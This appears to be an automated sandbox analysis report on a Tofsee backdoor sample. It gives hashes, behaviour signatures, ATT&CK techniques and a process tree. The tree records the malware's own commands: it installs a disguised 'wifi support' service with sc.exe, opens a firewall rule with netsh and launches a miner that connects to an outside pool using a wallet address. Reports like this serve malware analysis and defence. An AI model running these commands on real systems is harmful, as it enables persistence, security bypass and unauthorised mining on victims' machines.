Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    17-11-2020 15:12

General

  • Target

    b2e1156c89468ab56a6ed5376b5cbce2.exe

  • Size

    10.5MB

  • MD5

    7e49c6d5c9d1c11cb5f262c62a1f031a

  • SHA1

    0807651afb645375e19422bc8ae1f39e8a8c4b36

  • SHA256

    bfcc5198ba8aa2246e4e0f413d2e563b9c0776dff2270de0f98bfeb3f4043caa

  • SHA512

    353779e83cf4d92f8c29f6603ad9186777ccf76c820a230106a8080f1227c3747b63bca37f18fa524b8420a760bf23f6f8411418a7e325fefbad6ebe62b03bc7

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b2e1156c89468ab56a6ed5376b5cbce2.exe
    "C:\Users\Admin\AppData\Local\Temp\b2e1156c89468ab56a6ed5376b5cbce2.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3988
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zywiquwo\
      2⤵
        PID:1424
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ignjirpg.exe" C:\Windows\SysWOW64\zywiquwo\
        2⤵
          PID:2076
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zywiquwo binPath= "C:\Windows\SysWOW64\zywiquwo\ignjirpg.exe /d\"C:\Users\Admin\AppData\Local\Temp\b2e1156c89468ab56a6ed5376b5cbce2.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2664
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description zywiquwo "wifi internet conection"
            2⤵
              PID:3492
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start zywiquwo
              2⤵
                PID:2224
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:3996
              • C:\Windows\SysWOW64\zywiquwo\ignjirpg.exe
                C:\Windows\SysWOW64\zywiquwo\ignjirpg.exe /d"C:\Users\Admin\AppData\Local\Temp\b2e1156c89468ab56a6ed5376b5cbce2.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:3280
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:3732
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3820

              Network

              MITRE ATT&CK Matrix ATT&CK v6

              Persistence

              New Service

              1
              T1050

              Modify Existing Service

              2
              T1031

              Registry Run Keys / Startup Folder

              1
              T1060

              Privilege Escalation

              New Service

              1
              T1050

              Defense Evasion

              Disabling Security Tools

              1
              T1089

              Modify Registry

              3
              T1112

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • C:\Users\Admin\AppData\Local\Temp\ignjirpg.exe
                MD5

                4a12499cb298baa02049a0c35266972a

                SHA1

                54a018669eb5acbe83cb26a932d47d1a3e6b050a

                SHA256

                bf6212717a9ea6254b95162f69f6bfea89e5df5064b44a5b34a218d1142eaeab

                SHA512

                234e01999aacdbd3081e59187469917d80d1cf4c43f6b6c1f3d123b86b0d78c2937d31e7ad4c1bf4b930c325a5cd68409e42017e8ff87ef94f3cf7a3cba57a45

              • C:\Windows\SysWOW64\zywiquwo\ignjirpg.exe
                MD5

                4a12499cb298baa02049a0c35266972a

                SHA1

                54a018669eb5acbe83cb26a932d47d1a3e6b050a

                SHA256

                bf6212717a9ea6254b95162f69f6bfea89e5df5064b44a5b34a218d1142eaeab

                SHA512

                234e01999aacdbd3081e59187469917d80d1cf4c43f6b6c1f3d123b86b0d78c2937d31e7ad4c1bf4b930c325a5cd68409e42017e8ff87ef94f3cf7a3cba57a45

              • memory/1424-0-0x0000000000000000-mapping.dmp
              • memory/2076-1-0x0000000000000000-mapping.dmp
              • memory/2224-5-0x0000000000000000-mapping.dmp
              • memory/2664-3-0x0000000000000000-mapping.dmp
              • memory/3492-4-0x0000000000000000-mapping.dmp
              • memory/3732-9-0x0000000002AC9A6B-mapping.dmp
              • memory/3732-7-0x0000000002AC0000-0x0000000002AD5000-memory.dmp
                Filesize

                84KB

              • memory/3732-11-0x0000000004950000-0x0000000004B5F000-memory.dmp
                Filesize

                2.1MB

              • memory/3732-12-0x0000000003620000-0x0000000003626000-memory.dmp
                Filesize

                24KB

              • memory/3732-13-0x0000000003680000-0x0000000003690000-memory.dmp
                Filesize

                64KB

              • memory/3732-14-0x00000000036D0000-0x00000000036D5000-memory.dmp
                Filesize

                20KB

              • memory/3732-15-0x0000000008FD0000-0x00000000093DB000-memory.dmp
                Filesize

                4.0MB

              • memory/3732-16-0x00000000036F0000-0x00000000036F7000-memory.dmp
                Filesize

                28KB

              • memory/3820-17-0x0000000002D00000-0x0000000002DF1000-memory.dmp
                Filesize

                964KB

              • memory/3820-19-0x0000000002D9259C-mapping.dmp
              • memory/3996-8-0x0000000000000000-mapping.dmp